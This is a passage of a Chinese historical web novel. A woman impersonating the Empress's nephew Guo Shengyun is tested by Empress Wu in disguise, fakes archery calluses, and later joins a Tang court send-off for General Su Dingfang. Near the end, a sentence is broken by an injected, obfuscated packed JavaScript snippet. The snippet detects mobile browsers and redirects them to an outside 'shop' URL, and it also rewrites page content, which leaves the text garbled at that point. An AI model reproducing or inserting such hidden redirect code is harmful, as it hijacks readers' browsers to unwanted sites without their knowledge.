他小心地端详了一番姨母的神色,发觉她这话说出来,竟没有嘲讽之意,而只是在陈述一个事实。 可……可今日郭升云的表现,哪有什么“妙处”可言! “难道不是吗?”皇后抬眸看来,“如你所言,他因踏谣娘戏中的醉汉痛殴之举,似有联想到当下,竟是当场愤而出手,虽是在脾性上有些控制不住,但也不失为性情中人。” 她眼中笑意不达眼底,心中暗自忖度,不知那在太原任职的妹夫是否当年对她小妹也有所苛待,才令小妹早亡。 不妨暗中着人往太原走一趟,秘密查访。 若真是踏谣娘戏中那丈夫一般的人,她便寻个由头,来找他的麻烦。 贺兰敏之不知姨母心中只在这须臾间,就已闪过了个拿人问罪的想法,只听到上首笃定而平和的声音。 “他觉得丈夫殴打妻子无甚可笑之处,也不失为一句直击要害的点评,随后提出以男人扮演妇人,以添戏中讥诮之味,更可谓是绝妙一笔。” “我看,敏之在意的只是他在大庭广众之下抢了你的扇子,与那优伶大打出手,又为验证自己所言非虚,亲自拿着披帛上阵,让人瞧见了个身份体面却举止无度的小郎君,是也不是?” 贺兰敏之迟疑了一下,老实回答:“……是。” 桌案后的女子从坐姿到神态都未有一变,也毫不意外贺兰敏之的这个答案。 “那我问你,若是由我派你去推行那限制女子为俳优伎乐之事,你当如何做?” 贺兰敏之一怔,没想到会忽然从姨母的口中,忽然话锋一转,发出一句考问的话。 但他平日里行走御前,也时常要被皇帝皇后过问学业,和在弘文馆中的见闻,虽有些惊诧,却还是迅速收敛了一番心神,开口作答。 “近年间市井戏谑、调笑狎戏的舞乐盛行,既不符合朝廷如今节俭从事,以备军需的方略,也有损礼乐之风,应奉皇后殿下之命行事,整顿风俗民情。” 武后淡淡地睨了他一眼,追问道:“那若是有人说,俳优所演曲目,乃是流传至今数十年的经典,若因女乐被禁而曲目不传,是否也算另一种形式的礼乐废弛呢?” “这……”贺兰敏之没能直接作答。 却听到姨母笑了笑:“你看升云的所作所为,虽然莽撞而无士人之风,却对我方才的这一问,给出答案了。” “你看他是个胡作非为的顽童,我却觉得,他是误打误撞也好,真有此心也罢,总归是个可造之材。” 她忽然将面前的文书合上,放到了已批阅过的那一沓中,扶案站了起来。 随即开口道:“走吧。” 走?走去何处? 贺兰敏之一向乖觉,见皇后起身,虽不知她要做什么,也已先躬身行到了她的身侧。 他的后背忽然被人拍了一下:“别做出这一派如丧考妣的样子,平白叫人看了心烦,前面领路吧,就当今日有此闲心,到你府上看看。” 贺兰敏之眼神一震。 姨母话中的意思已无需多说了。 她要亲自去见一见那惹是生非的外甥,看看他究竟是个怎样的人。 …… 祝以灵对这皇宫之中的对话一无所觉,已是在贺兰敏之的府上游览了起来。 她虽是打着避祸的由头来到的贺兰府上,可要让她畏缩行事,也显然和她先前的言行不符。 既然如此,在表兄离府后她小睡了一番,恢复了白日里折腾的体力,便开始随处走动逛逛,以便再为自己储备些见闻知识。 这贺兰敏之的府邸不似郭待封府上,有那 上一辈的积淀,将京中宅邸圈了片大地方。 贺兰敏之入京得晚,分到的宅院就没怎么逾制,约莫只有六分之一个郭府的大小。 可贺兰敏之这人爱俏喜奢,没能在府邸的面积上下工夫,就在庭中花木上用了巧思。 正值草木生发的时节,祝以灵循着庭院间的雅径徐行,见着了不少奇石名花,虽叫不上名字,但也知道造价不菲。 那建作二层,楼悬飞铃的书阁前,还有数株开得正好的绿梅,便是放在后世也该算是稀有品种,更何况是如今。 祝以灵想了想贺兰敏之离府前的叮嘱,也没说她进不得那藏书楼,便与楼外的门童颔首示意了一下,推门走了进去。 许是这藏书楼并没有那么透风的缘故,在屋外还有些春风的冷清,在屋内却是走动间便觉和暖了起来,只是被屋中的烧炭残香与墨香熏得人有点头晕。 她干脆往上层走去,推开了其中一扇窗户。 有窗户中透进来的凉风吹拂,她终于觉得,自己的脑袋清醒了许多。 此时已是斜阳日暮,光线渐趋昏黄,视线中已不太能看得清下方贺兰府中仆从的动向,只隐约能看到些许跑动的身影,一番忙碌的样子。 祝以灵托着下巴,靠在窗口,低声说了一句奇怪。 这书楼中本应只有她一个人,安静得有点过分。 却也就是在她说出奇怪二字的下一刻,在斜后方,忽然传出了一个声音。 “……何处奇怪?” “谁!” 祝以灵吓得差点没当场跳起来。 她愕然回首,向声音发出的方向看去,便见那个方向,是一尊书架之间用来装点陈设的屏风,而在屏风之后,因那里蓦然亮起的一点暖色提灯,赫然映照出了一道模糊的黑影。 灯在身前,于是又在那人身后的墙壁上,投出了另外一道稍显虚渺,却更为高大的影子。 宽衣高髻,是一名女人。 祝以灵看清对方是人非鬼,徐徐站直了身子,向着这边走了两步,躬身问道:“敢问……屏风之后,可是表兄的母亲韩国夫人?” 屏风后传来了一道沉稳而从容的声音:“为何有此判断?” 祝以灵眼珠子转了转,本想胡扯两句,但想想今日已有胡来之事,现在被迫收敛行径,于是遵守些礼法认真回话,也不算是破坏了人设。 没这个必要吓唬一位与她必定少有往来的内宅妇人。 她拱手作答:“书斋为主人之地,楼前门童也未有告知外客,便只能是府中人。我见夫人照影间脊背挺直,双肩平舒,身形饱满,举止大方,未有乍见我这新客的回避,那便应是表兄的长辈,也是我之长辈!” 屏风后的人将灯又提起了少许,随即开口:“哦?那你不该换一个称呼吗?韩国夫人这种叫法,外人说说也就算了,不是府中长辈晚辈之间相见时的名号。” 祝以灵隐约觉得,这韩国夫人的语气有点让人捉摸不透,不像是她隐有印象的样子。 但仔细再想,她对贺兰敏之和其母亲的印象,其实大半来自于野史,倒也不必尽数奉若圭臬。 少年拢了拢衣襟,打理了一番袖口,又正式地作了个礼。“外甥见过姨母!” 屏风之后,人影晃动,但准确地说,是她的手在烛火中虚虚抬起,示意祝以灵不必继续拘泥礼数。 声音也又自后面传了出来。 “升云还未回答我先前的那个问题。你说,敏之的书斋何处奇怪?” 17. 017 祝以灵从容作答:“姨母方才在屏风之后,并未瞧见我说奇怪时看向的是何处。我人在此地,看向的却是表兄府中。” “愿闻其详。” 祝以灵并未直接作答,而是先问道:“不知表兄当下可有回府?” 屏风后传来了声音:“尚未。” 不,其实是已经回了。 入宫拜见皇后的贺兰敏之不仅自己回来了,还迎来了到访贺兰府的皇后。 可因为皇后想知道,这位尚未正式相见的外甥到底有没有她猜测的那么有趣,就先压下了消息,只从府中侧门悄然而入。 按照她的想法,越是不加演习、猝不及防的相见,也就越能看清楚对方是何许人也。 比起有所准备的相见,她更想试一试偶遇。 也抢在了祝以灵前面,按照她行路走来的路线,站在了书楼之上。 所以现在,听到对方误判了她的身份,将她当作是贺兰敏之的母亲,她没有给出一个正面的回应,而是让人产生了误解。 反正都是姨母,哪个姨母考校外甥,有区别吗? 少年的身影在屏风的另一头晃动了一下,继续说道:“那就对了!我自书楼向下看,见府中仆从跑动频频,一番忙碌,故而觉得奇怪。” “这也称得上是奇怪?” 祝以灵努力让自己的声音里带上了几分轻浮顽劣的味道,用着挑剔的语气冷哼了一声:“奇怪!怎么不奇怪?郎君不在府中,并无定数之外的活计,为何要在府中跑动?” “要么,是将本该白日完成的事情拖延到了晚上,现在不得不赶工完成,好在表兄回府前拿出个成果,让主人家满意。要么,就是府中有人不通分工运作之道,让人领着远超寻常份额的工作。而无论是哪一种,都能叫一句管理失当。” “平日里这样也就罢了,若是表兄带客到来,撞了上去,岂不是平白得罪了人!数日前表兄入郭府探我,就是因此,被我那不懂事的婢女撞了上去。得亏表兄宽仁,才没有计较她的过错。” “连我这初入长安见世面的人都已因此记下了这教训,怎么表兄入京已有数年,府中众人还是如此不稳重。若是我,早就一鞭子抽过去了。” 屏风后的妇人淡淡地笑了一声。 像是在笑她这宽以待己严以待人的表现。 却没有直接把这让她发笑的对比直接说出来,而是回道:“古语有云,其身正,不令而行。想来敏之仍不够沉得住气,才叫府中上行下效,也是一群临时匆匆办事之人。升云觉得呢?” 祝以灵脸皮甚厚,应和着点了点头:“若是这么说的话,也有几分道理,就如今日,我为京中又创一套踏谣娘戏的演法,不过是身披女装上场了一回,表兄就不如我从容随性。” 妇人回问:“可升云若真是从容随性之人,今日又何必来敏之这儿暂避锋芒呢?” 祝以灵干笑了两声,便很快消化掉了那须臾间的尴尬:“姨母有所不知,正是来此暂避锋芒,才显亲疏远近之别呀!” 这句回答,换来了屏风后又一声轻笑。 武皇后心中暗忖,郭升云这张口就来的随机应变能力,倒还真是有点意思,却也和他的有些表现并不大相符。 这种奇怪的矛盾感,让人有些摸不清郭升云的态度。 莫非是天性不爱拘束,无心朝堂之事,于是做出了这一番表现吗? 可若真是如此,他就不该与郭待封那边多有往来才对。 忽听祝以灵又道:“不过非要说的话,这书楼中也有几分古怪啊。前阵子春寒急雨方过,正是翻晒书卷的好时候,怎不见表兄这书楼中的藏书,有搬动整理过的痕迹。” “我平日里就喜走街串巷、提刀游猎,但晒书却是绝不能错过的,否则别人见了这藏书地的样子,觉得我无心念书,开口就来考问,岂不是能轻易发觉我学业不精!表兄能待诏御前,自然是不怕这个的,可也不能由着府中的仆从偷懒敷衍吧?” 女子颔首而答:“此言有理。” 祝以灵信手自书架上取下了一卷文书,掸了掸上面的灰。 看似是在呼应着她先前说出来的那句话,却在这动作的间隙里,将自己略带几分狐疑的目光,悄悄地投向了屏风之后。 她这几句话说的其实不是贺兰府上的人偷懒,而是想先借这句话,让韩国夫人知道,她是个不学无术的文盲,再顺手捧一捧贺兰敏之。 也免得字字句句都像是在挑剔府上,于是今晚就被打出去。 起码也得在不讨喜之余,留下点可取之处。 按说,她一个不成器的晚辈,在一个母亲面前夸她的儿子,该当让韩国夫人高兴于养儿有成,但……韩国夫人的表现,好像有点冷淡了。 并非那种听惯了好话的习以为常。 而是,并不觉得贺兰敏之有什么地方好夸的? 没听说过这对母子关系不好啊? 祝以灵刚欲深究,余光里,那盏手提灯的烛光摇晃了一下,移动起来,打断了她的思绪。 紧接着就见,那道映在屏风之后的身影已是转了出来。 “既是书楼中疏于打点,犹有经冬积灰,长留此地于身体无益,还是早些离开为好。劳烦升云扶我下楼吧。” 祝以灵怔了一瞬,慢了半拍才回道:“……是。” 没了屏风在两人之间作为遮挡,祝以灵终于看清楚了这位应被郭升云称为姨母的韩国夫人,到底长着何种相貌。 她想过韩国夫人的相貌,应与她的妹妹武曌有几分相似,却也没想到,对方会生就一番这样贵气迫人的样子。 云鬓之上的金钗发饰,和由绯红、石绿、月白三色拼接的七破间裙,本该是相当醒目的东西,但祝以灵当先看见的,还是一双眼睛。 生在那张方额广颐、端庄秀美面容上的眼睛。 淡淡的笑意自那双眼睛里流淌而出,却又被偏橘黄色调的光,映照出了瞳孔中藏不住的威严,在一瞬间就抢占了她的视线。 也让她在 这四目相对的一瞬间想着,相比之下,贺兰敏之好像仅有那种颇具秾丽色彩的五官,却少了这当中六分神韵。 祝以灵的职业病一下子就犯了。 这要放在一部剧里,妥妥会变成配角抢戏啊!主角得有多拿得出手,才能压得住这种气场。 又或者,她真是之前在郭待封府上休养太久了,不知今时的长安城中,一众贵妇人都有着这样的仪态? 可惜现在不是她能多想的时候。 像是为了显示做姨母的没打算和口无遮拦的外甥计较,韩国夫人已是将手抬起到了她的面前。 祝以灵当即伸出了左手,掌心向上,向她迎了过去。 她留意到,当她伸手的时候,韩国夫人目光微垂,短暂地在她的手上停留。 祝以灵不由在心中微微松了一口气。 还好,没白做准备。 她在顶替了郭升云身份时,并未在马车旁看到弓箭,但这并不意味着郭升云对射箭一窍不通,恰恰相反,他在太原时没少狩猎。只是怕被皇帝皇后觉得他是个只知行猎的莽夫,才在旁人的劝说下,将弓箭留在了家中。 三年前曾在马背上摔下来的伤势,并没有成为他敬骑射而远之的理由。 所以在郭升云的左手,也就是用来握持长弓的那只手,在虎口处生有老茧。 祝以灵的身体上却没有这样的痕迹。 但她总算是在剧组里混过,知道如何在短时间内,伪造出这样的老茧。 在前来长安的马车上,她便频频用麻绳和粗布来回摩擦虎口和食指中指的指根,只摩擦到发红却不至到破皮的程度,然后有意让这几个位置少碰到温水,经由十天半月下来,这些地方已有了一层暂时增厚的茧子。 再用黄蜡时而上色又擦去,多次少量地让颜料和做旧的蜡质渗透进去,也就更显逼真。 此刻光线并没那么鲜明,应当并不至于让人察觉出异常。 果然,从她搀扶着韩国夫人走下那有些陡峭的楼梯,到松开了手,退开一点距离的过程中,这短暂掌心上翻的手,都并未暴露她的身份。 然而正在祝以灵准备想办法和这位姨母分道扬镳的时候,忽然听见了一道关切的声音在几步之外响起。 夜色里回头看向她的贵妇人,眉眼间带着几分温柔:“升云,虽然这话好像不应在第一次见面时问出来,但我既是你的长辈,也就不用如此顾虑了。你……前些年在太原家中还要做重活?” 祝以灵愕然:“……什么?” 妇人伸出了自己的左手,目光落在了自己的指腹位置。 “多年前,先父刚刚过世的时候,我与妹妹在兄长手下吃过不少苦,知道做惯了苦力活,会在何处长出茧子来。我见你那只手,在骑射痕迹之下,竟是在指腹处有些更陈旧的痕迹,心中不免有些诧异。” “你父亲虽算不得太原郭氏中的显贵之人,也算有个官身在,不仅俸禄不少,还常有朝中赏赐下来,为何——会让你受此苦累?” 18. 018 祝以灵:“……” 救命! 人在扯谎的时候最怕的就是露馅,还是那种刚以为自己已经糊弄过关了,下一秒就被人点出破绽的露馅。 更可怕的是,说话的人还用着温温柔柔的语气,发出对晚辈的关切。祝以灵甚至没法确认,她到底是真的发现了什么,还是仅仅在尽到一个姨母的责任。 她后背的冷汗差点就要冒出来了!! 但也只是须臾之间,那种悬崖走索的紧绷感,就被她压了下去。 开玩笑,要是这点心理承受能力都没有,之后的面见天子,她又要如何糊弄过关? 电光石火之间,她的脑子里已经滚过了种种说辞。 为何手上会有劳作多时才会留下的茧子? 反正肯定不能说什么郭升云的父亲想要培养他,专门让他经由此道磨砺自己,以便养出节俭的作风。 这就与她如今的表现大相径庭了。 长了脑子的人都能听得出来,这当中的问题不小! 她这位便宜姨母,说话有条理,行事有风度,还有着极强的眼力,绝不会错过这当中的矛盾。 祝以灵的目光一转,忽然有了个答案。 也幸好她在用绳索打磨出练习弓箭的痕迹时,没忘记用郭升云那死鬼留下的香膏涂抹手指,所以被人看到的也只是有些年头的旧日痕迹而已。 她圆得回去! “姨母怎会觉得这是做重活留下的?”祝以灵不太好意思地上下打量了一番自己的身形,“就我这样子也做不得什么重活吧?这手上的痕迹……” “不可说?” 祝以灵嘿嘿笑了两声:“若是别人这么问了,我或许还真不能说,但既是姨母相问,我人又在表兄府上,料来也没人敢把闲言碎语传出去,是能说的。” 她漂亮的眼珠子一转,声音也随之上扬:“您且看着!” 且看着? 这下微微一愣的,换成了先前发问的人。 只见这少年抬脚,就向着这书楼所在院落的一角走了过去,又沿着墙根走了一段,眼神时而上抬,时而下落,忽然找准了目标。 她未能来得及阻拦,就见这少年站在一颗老榆树下,脚步一蹬,就抓上了低层的横枝。 借着抓握横枝的力道,腿脚一抬,就这么盘上了树干。 也不知道他平日里到底是有多经常干这爬树的勾当。她尚未看清楚先前的动作,就见人就已经松开了横枝,借用五指与手掌的力量,抓住了沟壑纵横的树皮,蹭蹭蹭地就爬了上去。 爬……爬了上去? 武皇后:“……” 这爬树的少年像是完全没有在意到姨母脸上的震惊,一门心思要给姨母解释自己手上的老茧是从何而来,以洗脱父亲身上的这部分冤屈。 借着盘踞树干向上挪移的行动,很快就够到了院墙高度的横枝。 幸而初春之时的枝叶并不繁茂,并未让少年的身形被遮挡住,还能看得见位置。 要说祝以灵选择的这棵老榆树,那可实在是棵耐用且结实的好树。 不仅稳稳地托住了她的重量,还让她一边脚踩一边手扶,直跳到了院墙的墙头,寻了个安稳不易摔跌的位置坐了下来。 如此一来,她也终于能有了空闲的时间,看向自己的姨母。 提灯而行的贵妇人向着她坐着的墙头方向走了几步,深吸了一口气,才缓过来了扶额长叹的冲动。 “……” 这……这是什么人啊。 倒是爬墙成功的冒牌外甥一边在心中夸赞了一句,自己果然是个多才多艺的好武替,一边低头看下来,接上了之前没说完的那句回答:“姨母,您现在知道我这手上的茧是从何处来的吧?” “刚才在书楼上您应该就听出来了,我就真不是个读书的料,偏偏还总有人觉得我长得好看,总该金玉在内的,把门关了威逼我读。那我能怎么办?想出门就只能爬树爬墙了,日积月累就成了手上这个样子。” 祝以灵的声音忽然一顿,像是后知后觉地意识到,这话说得有点太实诚了一点,又话锋一转:“不过这两年间我已大有长进了!起码是把这爬树的精力用在拿弓执鞭骑马上了!” 围墙下的人看她这不以为耻反以为荣的样子,更加无奈了:“好了,你这皮猴儿先下来吧。” 她就不应该问刚才那个问题。 没问出她那妹夫到底是怎样的人,倒是见到了她这好外甥的又一项本事。 不仅会穿着女装唱戏,还会熟练地爬树呢。 多可怕。 “好!”祝以灵答应了一声。 但天色毕竟是已经黑了下来,直接从院墙上往下跳,保不齐就要踩到什么石头把脚扭了。虽然是能再拖延一下见驾的时间,却也会影响到她的跑路大计,祝以灵才不干这样的亏本买卖。 她脑袋左右转了转,没瞧见什么更好的办法,决定还是原路返回。 可她刚刚转过来,准备往下爬,就瞧见了提着灯从院墙外走过的贺兰敏之。 听到墙头的动静,唯恐是有哪个不长眼的奴仆在皇后到访时胡来,并未换下入宫时衣着的华服青年下意识地举起了灯,便照亮了祝以灵的脸。 墙头的少年呆愣了一下,然后向他眨了一下眼。 贺兰敏之脚步一顿,霎时间定格在了当场,在意识到他看见的场面后大惊失色:“……升云?你为何会在上面?” 他还是专门等着皇后姨母与表弟约莫见上了面,这才过来的。 本以为会是顺理成章地加入已经展开的对话当中,听听姨母觉得升云妙在何处,哪知道过来时先没瞧见姨母,倒是瞧见了挂在墙头的表弟。 有路不走,爬什么墙啊! 祝以灵尴尬地笑了一下:“那什么……表兄啊,我这是给姨母展示一下我们北方常有的……嗯,课业之外的活动。你家这树还挺好爬的,将来有小侄儿了,记得把这些横枝都修剪一下,不然一脚就蹬上来了。” 贺兰敏之无语极了,却忽然听到,在郭升云背后的院落中,传来了一声并未掩饰的轻笑。 分明正是皇后姨母发出来的。 他连忙加快了脚步,绕过了前方的拱形石门,入了院中,快步走到了姨母身边。见皇后殿下竟是并未被郭升云这浑不着调的行为感到恼怒,反而是颇觉她言行随性,颇为可爱。 她看向郭升云时,眼中还有些笑意,转头看向他时,却是瞪了他一眼。 是瞪没错吧……? 贺兰敏之思绪一转,连忙反应过来,这不是瞪,好像是姨母对他投来了个眼神示意。 他连忙凑到了近前,便听到了一句轻声出口的话:“我没告诉他我的身份,他将我误认成了你母亲,所以不必行礼。” 贺兰敏之会意,便干脆向着郭升云的方向走了过去。 但祝以灵又不是头一遭爬树,上来容易,下来同样不难,哪用得着他帮。 她找准了方位,轻巧地落了地,拍了拍手向掌心看去,那上面连点划痕都没留下,可见手上的茧子立了大功。 她眉头一挑,便露出了几分自得的表情,正叫本想搭把手的贺兰敏之提灯照了个清楚。 她那位便宜姨母看着眼前这一幕,越发觉得好笑,只觉今日往贺兰敏之府上走一遭,回去还能与陛下多个谈资了。 “升云啊,我现在算是知道,为何敏之说起你,又是觉得有这样一个亲戚在京中往来不坏,又是 觉得有些头疼了。” “我看你何止是要跟着郭郎君学学京中的人情往来,官员忌讳,还得……敏之!” 贺兰敏之当场就想应一声响亮的“在”,但又想到姨母先前那句不要暴露身份的叮嘱,便只躬身走了过来。 任由姨母指道:“升云在你府上避居两日,你把见驾的礼仪从头到尾再带他复盘几遍,若是进宫却爬了树,你就也给我一道爬上去,免得你表弟一人丢脸。” “至于那出大慈恩寺前的戏,就说是韩国夫人力保,让那郭郎君如要教训人,先上门讨要个教训他的资格。” 祝以灵的眼睛顿时就亮了。 姨母果然是个好人,虽然刚才差点吓她一跳,但三言两语之间,就帮她解决了两个难题啊! 可惜也不知道是不是因为姨母有自己的韩国夫人府,过着自己的潇洒日子,祝以灵也只见着了她一次,就再没遇上过她。 在经过了两日的礼仪加强训练后,她回到了郭府,更没了见到姨母的机会。 “唉……” 她微微叹气。 虽然对祝以灵来说,不用见到那位观察力敏锐的姨母应该是好事,但相比于见到郭待封,还是见到姨母对她的眼睛好一点。 她抬头,就看到郭待封苦着一张老成的脸,也发出了一声叹息。 “唉——” 脸都皱一起了。 哦,这一声不是因为她。 郭待封可能已经有点债多不愁了,听说她在大慈恩寺前唱戏,在贺兰敏之府上爬墙,也只是表示自己知道了,会多多教导族弟。 毕竟,对他来说,现在更要紧的,是另一桩在京中发生的大事。 甚至要比太子分派下来的修编文集任务,还要更令他关注。 …… 去岁,唐军在熊津江口击败百济大军。 神丘道大总管苏定方苏将军统兵水陆并进,直取百济都城泗沘城,大胜而归。 百济的平定,让唐军当即将目标投向了百济的邻国—— 高丽。 同年十二月,皇帝陛下委任契苾何力为浿江道行军大总管、苏定方为辽东道行军大总管,另有两路将军同行,分兵四路剑指高丽。 今年二月未到,又增派萧嗣业将军为夫馀道行军总管,率领回纥诸部降唐兵马进军平壤。 不过如今这时节,高丽诸多水道屏障正值冰封,并非大唐进军的好时候。 比起两军交锋,更像是在前线提前预演,随时根据情况修改作战方略。 五月前,势必要完成对高丽大战的最后部署。 左武卫大将军苏定方就是在这个时候折返的长安,带回了对高丽战事的种种想法,上报天子。 这位年近七十的老将,按照郭待封的说法,简直就是大唐劳模。 他大前年打灭了西突厥,在昭陵献俘,前年在乌海打败了吐蕃,然后回头爬上葱岭,把那上面几个部落全部殴打了一遍。 去年年初刚献俘洛阳,又带兵去百济平乱。 今年作战计划是那个目前被叫做高丽的高句丽。 反正是比祝以灵这个年轻还有活力太多了。 要不然这会儿也不会是由他还朝…… 郭待封说到这里又叹了口气。 “我要是也能上战场就好了。” 他要是能上战场就好了! 说不定也能如他父亲当年一样,为朝廷建功立业。 他看向祝以灵的目光中也带了几分羡慕:“你说你的运气怎么就这么好呢,朝廷议事已毕,陛下有意为苏将军送行,竟是让你也一并去长长见识。” “我在弘文馆待诏两年,都还是第一次得以参与这样的犒军送行!” 19. 019 弘文馆待诏这个职位,说起来要比那些上来就外放的胥吏岗位,不知有地位有前途多少倍,但真要说在御前有多得脸,那也说不上。 去岁苏定方将军献俘于洛阳,皇帝陛下亲临乾阳殿,举行受降仪式,郭待封就没能受邀在当中。 此次苏老将军还朝述职,重新敲定进攻高丽的兵马布置,得陛下亲送出京,才让他凑够了资历,能在相送的官员中占据一席。 怎么这刚入京的族弟,倒是如此好运气,能被准允同在队列当中,顺势拜见圣驾。 祝以灵一拳头砸在了自己的手掌上,面露恍然:“我明白了。” 郭待封奇道:“你明白什么了?” 祝以灵答道:“那日韩国夫人在书楼考我,我没答上来几句有见地的话,下了楼来,倒让她知道了我不仅不学无术,还把本事用在了爬树上。想来是被转告到了皇后殿下面前。” “或许皇后殿下觉得,我读书不成,还能在骑射打斗上有些盼头?便叫我先见一见老将军的威风,从中学习一二?” 郭待封沉默了半晌:“……那皇后殿下还真是用心良苦啊。” 服了,他能说什么!起码祝以灵没因为那爬树的行径惹来麻烦,更没因为那踏谣娘戏谴责于他。 或许这就是朝中有人好办事的最佳写照吧。 文不成,那就试试武就! 他的郁闷与羡慕,也就只持续了那么须臾,就已变成了一句拍板:“此次送行,我务必让你瞧着像个人物!绝不辜负皇后殿下的好意。” …… “救命啊,这京城也太难混了……” 祝以灵目送着江盈送走了来量体裁衣的匠人,自己哀嚎了一声,躺在了榻上,疑似一只失去了梦想的咸鱼。 她觉得自己已经表现得很像是个无用之人了,眼看就离告别长安不远,怎么就忽然变生枝节,还能去为能征善战的老将军送行出征。 也就是说,光装个没文化且胡来的草包,竟然还不足以把她遣返。 凭什么? 皇后的一众亲眷到底得多没用,才能让她凭借着这样的表现仍旧脱颖而出! 真是可恶啊。 祝以灵完全不觉得自己的猴子爬树其实还挺可爱,只觉一众姓武且被发配边州的都不是人,挡了她这个后人的路! 五日后的早晨,祝以灵更是连个懒觉都没能睡。 天色尤泛着黑青色时,她就已被人从被窝里强行喊了起来。 幸好她怕挑灯夜读,给自己看出了个近视眼,昨夜睡得还挺早,要不然现在估计就是头重脚轻,飘飘忽忽的样子。 睁开眼睛看,请专人定制的衣服已是送到了这里。 那是一件石蓝缀着金丝的圆领缺胯袍,以及一条乍看起来像是金银材质,实则是由铜铁打造的崭新蹀躞带,在烛火里熠熠生辉,果然是能让人看起来体体面面的衣服。 郭待封更是生怕郭升云本人这里出了什么差错,早早赶过来。 幸好祝以灵入睡时也穿着圆领中衣和大袴,才没让对方察觉到异常。 她一边顺着江盈的服侍,将那件保暖的皮质马甲和暗金色的半臂套在上身,一边打了个哈欠:“堂兄也不必来得如此着急吧?我又不会睡到日上三竿,徒惹陛下不快。” 拜托,她是想走,但不是提着头走。 通传到府上的消息说,李治陛下将送行苏定方将军的地点,竟没放在距离皇城不远,毗邻官道的通化门,而是放在了距离长安城东十多里,作为出关必经咽喉之地的灞桥前。 足以见得对这位老将军的尊重。 毕竟,按照七十古来稀的说法,谁也没法断定,此次高丽之行,会不会是苏老将军打的最后一场仗。 这个时候缺席,打的是想要为苏将军体面送行的皇帝陛下的脸。 祝以灵还没活腻呢。 郭待封却不敢确定,他真的有这么知情识趣。 也就是现在瞧见人已起来,很快就能出门,这才松了口气。 这轻松了几许的目光,还很快变成了欣赏。 石蓝色不属于官员官服的颜色,却是少有的平民衣着里能穿的亮色,但说是这么说,因石蓝取色不易,真能穿上这颜色的,大多还是贵胄子弟。 就如此刻的祝以灵。 那件圆领缺胯袍一套上身,面上用于佯装病弱的脂粉也一并洗去,便显得少年那张脸极是贵重俊俏,再于蹀躞带上栓系解绳锥、砺石、火石袋、玉佩等饰物,便将腰间的空缺也填补上了,叮叮当当好不富贵。 祝以灵坐在了床榻上,伸出脚往新做的那双乌皮六合靴里塞,余光却忽见郭待封目光紧紧锁定在她的身上,露出了几分凝重的打量。 她不由心头一跳,疑心自己是不是又在何处露出了破绽,却忽听郭待封道:“去让人速裁一条石青色的发带来。” 祝以灵脑袋不怕吹冷风,实在懒得戴那幞头帽,仅束一条黑罗小巾,偏偏郭待封左看右看,觉得这头巾委实对不起这身衣服。 既要拿出个习武的贵族少年模样,还不如换条与衣服同色的发带。 总之,当祝以灵终于和他一道,在府门前翻身上马,执鞭而行的时候,他看过来的目光总算是满意了。 “我现在倒是能理解,为何韩国夫人见你文墨不通,恣意妄为,也还愿意向武皇后保你一保。” 少年额头上那片初来长安时还有些明显的伤,已在上好金疮药的辅助下,几乎消失不见,又被与发带同色的抹额遮挡住了最后的一点残留痕迹。 朝日未升,前方开道的灯火飘摇照亮他的面容,只看得到策马徐行的从容气度,不见一点此前的面色惨白。 除了夹着马镫的动作,因前阵子被关在府里的缘故,显得稍有生涩,其他种种,都组合成了个风华卓绝的翩翩少年。 着实是好卖相。 就连先一步出宫候驾的太子李弘将目光扫向这边时,都不由停顿了片刻,开口问道:“那位是谁?” 他近来在弘文馆修编《瑶山玉彩》,京中数得上名号的文学之士,都已见过了,也包括了祝以灵身边的郭待封,唯独对这有些清瘦孱弱的少年,没有多大的印象。 一旁的宫人认真端详了一番,答道:“此人是与郭郎君同来的,若无意外,应是皇后殿下同母胞妹所出的太原郭氏子郭升云,前阵子入京拜见圣驾,却因病拖延了时日,被皇后殿下特许今日前来。” 换句话说,是太子的表兄。 “是他啊。” 李弘闻言,刚刚还浮起的那片刻欣赏,就已经被他尽数收了回来。 朝野之间,或许不会有人过多议论皇后外甥的出格之举,李弘面前走动的那些人,却不会将大慈恩寺前的那一出好戏告知于他。 他负责整理古人名篇,正是要借此协助父皇母后推行礼教,却不知这表兄是发了什么疯,竟觉由男子出演被丈夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688086|206614||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 欺凌的夫人,更能显出戏中的戏谑教化,还亲自上阵表演了。 他李弘真是羞于这般男女不辨的表兄为伍。 今日倒是衣冠齐整,宛如一名精通骑射的未来武官,但有先前那糟透了的印象在,李弘反正是不想搭理他这个表兄的! 最好他也别想着往自己的面前凑,要不要他非要和表兄掰扯掰扯,到底何为君子行事之道。 年少的太子淡淡地冷哼了一声,挪开了目光。 因为两方相隔着有一段距离,这声冷哼并没能够传入祝以灵的耳中。 她甚至都没留意到太子先欣赏而后嫌弃的目光。 或许真的知道的话,还会大觉庆幸。只因这样一来,太子就绝不会强迫她加入到修编文书的行列。 她的眼睛向左看看,又向右看看,瞧见了一众紫的红的绿的青的颜色,宛如瞧见了一场诸多官员组成的大赶集。 想到这或许也是她唯一一次机会看到这样的场面,她更觉自己没白在出门前,又把乌皮六合靴内的增高往上加了点。左顾右盼间,能看到更多的东西。 多稀罕的场面。 叫得上名字的全到了。 比如之前许自然跟她说过的放逐了儿子的许敬宗许相,就正站在灞桥前相当醒目的位置。 和祝以灵原本想象的大腹便便富贵翁的样子有些不同,许敬宗单从外貌来说,更像是个眉眼端正清癯的长者,负手而立时,虽然挂着点温和的笑容,但也自有一番为相者的威严。 算算年纪,他也已有将近七十岁了,那倒难怪会在前两年想着把儿子从边陲调回来。但可惜他四五十岁的长子比他的气性还大。 另一位最好不要得罪的笔杆子人物上官仪,按照郭待封的指点,也被祝以灵在人群中找见了。 比起许敬宗,这位看起来好像更像个小心眼的文人一点,幞头帽下压着的红抹额,都没能让他那张端着的脸看起来热烈些。 至于那位疑似和许相互相写剧本相斗的李相…… “别看了!低头!” 祝以灵从善如流地低下了头。 无需郭待封提醒,她也知道这是什么缘故。 